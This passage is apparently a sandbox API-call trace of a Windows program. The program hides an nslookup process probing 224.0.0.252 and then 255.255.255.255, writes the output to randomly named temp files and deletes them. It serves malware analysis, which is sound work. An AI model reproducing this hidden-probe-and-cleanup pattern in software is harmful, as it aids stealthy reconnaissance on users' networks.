(HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219888 [0051.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0051.245] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0051.245] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0051.246] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0051.246] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0051.247] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0051.247] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0051.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22199f0, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0051.248] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0051.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22199f0, cbMultiByte=11, lpWideCharStr=0x90eb70, cchWideChar=11 | out: lpWideCharStr="224.0.0.252") returned 11 [0051.249] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0051.250] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0051.250] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0051.250] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0051.252] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0051.252] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0051.327] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0051.327] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.327] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0051.327] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.328] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.328] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.328] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.329] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.329] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.329] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.330] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.330] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.330] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.331] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.331] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.331] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="AJZ", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\AJZC7A9.tmp" (normalized: "c:\\windows\\temp\\ajzc7a9.tmp")) returned 0xc7a9 [0051.331] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0051.331] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22144f8 [0051.331] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\AJZC7A9.tmp", lpszShortPath=0x22144f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\AJZC7A9.tmp") returned 0x1b [0051.331] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0051.332] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0051.332] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0051.332] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0051.332] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0051.332] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0051.332] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.332] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0051.332] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.333] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.333] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.333] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.334] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.334] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.334] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.335] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.335] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.335] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.336] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.336] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.336] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.336] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.336] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.336] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.337] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.337] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.337] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.338] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.338] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.338] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0051.339] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0051.339] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0051.339] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="kUQ", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\kUQC7BA.tmp" (normalized: "c:\\windows\\temp\\kuqc7ba.tmp")) returned 0xc7ba [0051.339] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0051.339] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2214900 [0051.339] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\kUQC7BA.tmp", lpszShortPath=0x2214900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\kUQC7BA.tmp") returned 0x1b [0051.340] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0051.340] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0051.340] CreateFileW (lpFileName="C:\\Windows\\TEMP\\AJZC7A9.tmp" (normalized: "c:\\windows\\temp\\ajzc7a9.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0051.340] CreateFileW (lpFileName="C:\\Windows\\TEMP\\kUQC7BA.tmp" (normalized: "c:\\windows\\temp\\kuqc7ba.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0051.340] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.252", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x53f6a4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x150, hStdError=0x148), lpProcessInformation=0x53f670 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.252", lpProcessInformation=0x53f670*(hProcess=0x14c, hThread=0x144, dwProcessId=0xb88, dwThreadId=0xb8c)) returned 1 [0051.343] NtClose (Handle=0x144) returned 0x0 [0051.343] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xea60) returned 0x0 [0052.602] NtClose (Handle=0x150) returned 0x0 [0052.602] NtClose (Handle=0x148) returned 0x0 [0052.603] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0052.603] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\AJZC7A9.tmp" (normalized: "c:\\windows\\temp\\ajzc7a9.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5bc | out: lpFileInformation=0x53f5bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x338e0250, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x338e0250, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x34513310, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0052.603] CreateFileW (lpFileName="C:\\Windows\\TEMP\\AJZC7A9.tmp" (normalized: "c:\\windows\\temp\\ajzc7a9.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0052.603] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x53f600, lpLastWriteTime=0x53f600) returned 0 [0052.603] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x53f5ec | out: lpFileSizeHigh=0x53f5ec*=0x0) returned 0x2b [0052.603] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x53f5f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x53f5f8*=0) returned 0x0 [0052.603] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0052.603] ReadFile (in: hFile=0x148, lpBuffer=0x2219d08, nNumberOfBytesToRead=0x2b, lpNumberOfBytesRead=0x53f62c, lpOverlapped=0x0 | out: lpBuffer=0x2219d08*, lpNumberOfBytesRead=0x53f62c*=0x2b, lpOverlapped=0x0) returned 1 [0052.604] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0052.604] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0052.604] NtClose (Handle=0x148) returned 0x0 [0052.604] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\AJZC7A9.tmp" (normalized: "c:\\windows\\temp\\ajzc7a9.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x338e0250, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x338e0250, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x34513310, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0052.604] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\AJZC7A9.tmp", dwFileAttributes=0x80) returned 1 [0052.604] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\AJZC7A9.tmp" (normalized: "c:\\windows\\temp\\ajzc7a9.tmp")) returned 1 [0052.605] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\kUQC7BA.tmp" (normalized: "c:\\windows\\temp\\kuqc7ba.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339063b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x339063b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x34513310, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x3a)) returned 1 [0052.605] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\kUQC7BA.tmp", dwFileAttributes=0x80) returned 1 [0052.605] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\kUQC7BA.tmp" (normalized: "c:\\windows\\temp\\kuqc7ba.tmp")) returned 1 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0052.606] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0052.606] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0052.606] NtClose (Handle=0x14c) returned 0x0 [0052.606] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2214900) returned 1 [0052.606] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22144f8) returned 1 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0052.606] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0052.606] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d648 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3f8 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0052.606] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4b8 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219e28 [0052.606] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0052.606] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4c8 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d468 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d660 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d358 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a38 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d398 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d388 [0052.607] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3f8) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219e28) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4b8) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4c8) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d468) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d648) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219c78) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3d8) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219c30) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3c8) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219be8) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3b8) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219ba0) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3a8) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d578) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219960) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d318) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d98) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d328) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ffc0) returned 1 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d648 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d98 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d578 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3a8 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219ba0 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a38) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d358) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d398) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d388) returned 1 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d660) returned 1 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0052.608] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0052.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2219cc0, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0052.608] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0052.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2219cc0, cbMultiByte=15, lpWideCharStr=0x90ebf8, cchWideChar=15 | out: lpWideCharStr="255.255.255.255") returned 15 [0052.609] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0052.609] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0052.609] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0052.609] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0052.609] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0052.609] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0052.610] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0052.610] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0052.610] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0052.610] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0052.610] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0052.610] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0052.610] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0052.611] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0052.611] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0052.611] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0052.612] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0052.612] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0052.612] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="fY", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\fYCCAB.tmp" (normalized: "c:\\windows\\temp\\fyccab.tmp")) returned 0xccab [0052.613] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0052.613] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22144f8 [0052.613] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\fYCCAB.tmp", lpszShortPath=0x22144f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\fYCCAB.tmp") returned 0x1a [0052.613] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0052.613] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0052.613] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0052.613] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0052.613] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0052.614] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: 